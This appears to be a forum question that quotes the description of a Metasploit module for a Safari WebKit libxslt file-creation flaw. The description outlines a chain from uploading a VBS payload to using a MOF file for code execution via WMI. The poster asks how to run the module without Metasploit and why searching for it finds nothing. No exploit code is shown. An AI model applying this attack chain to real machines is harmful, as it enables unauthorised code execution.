these code was cut from metasploit as follow:

'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation',
'Description' => %q{
This module exploits a file creation vulnerability in the Webkit
rendering engine. It is possible to redirect the output of a XSLT
transformation to an arbitrary file. The content of the created file must be
ASCII or UTF-8. The destination path can be relative or absolute. This module
has been tested on Safari and Maxthon. Code execution can be acheived by first
uploading the payload to the remote machine in VBS format, and then upload a MOF
file, which enables Windows Management Instrumentation service to execute the VBS.

Q1:if i do not install the metasploit framework,how do i use these codes?
Q2:when open the metasploit framework and search "apple safari",there was not result given me,was any buddies encountered this problem,and how do you cope with it!
last,thanks all of you,good luck!
